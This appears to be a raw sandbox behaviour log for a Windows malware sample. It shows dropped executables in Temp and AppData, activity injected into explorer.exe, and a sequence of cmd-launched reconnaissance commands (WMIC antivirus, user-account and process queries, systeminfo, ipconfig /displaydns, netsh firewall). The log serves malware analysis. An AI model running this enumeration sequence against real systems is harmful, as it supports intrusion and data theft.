Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B575.exe C:\Users\user\AppData\Local\Temp\B575.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv	Jump to behavior

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
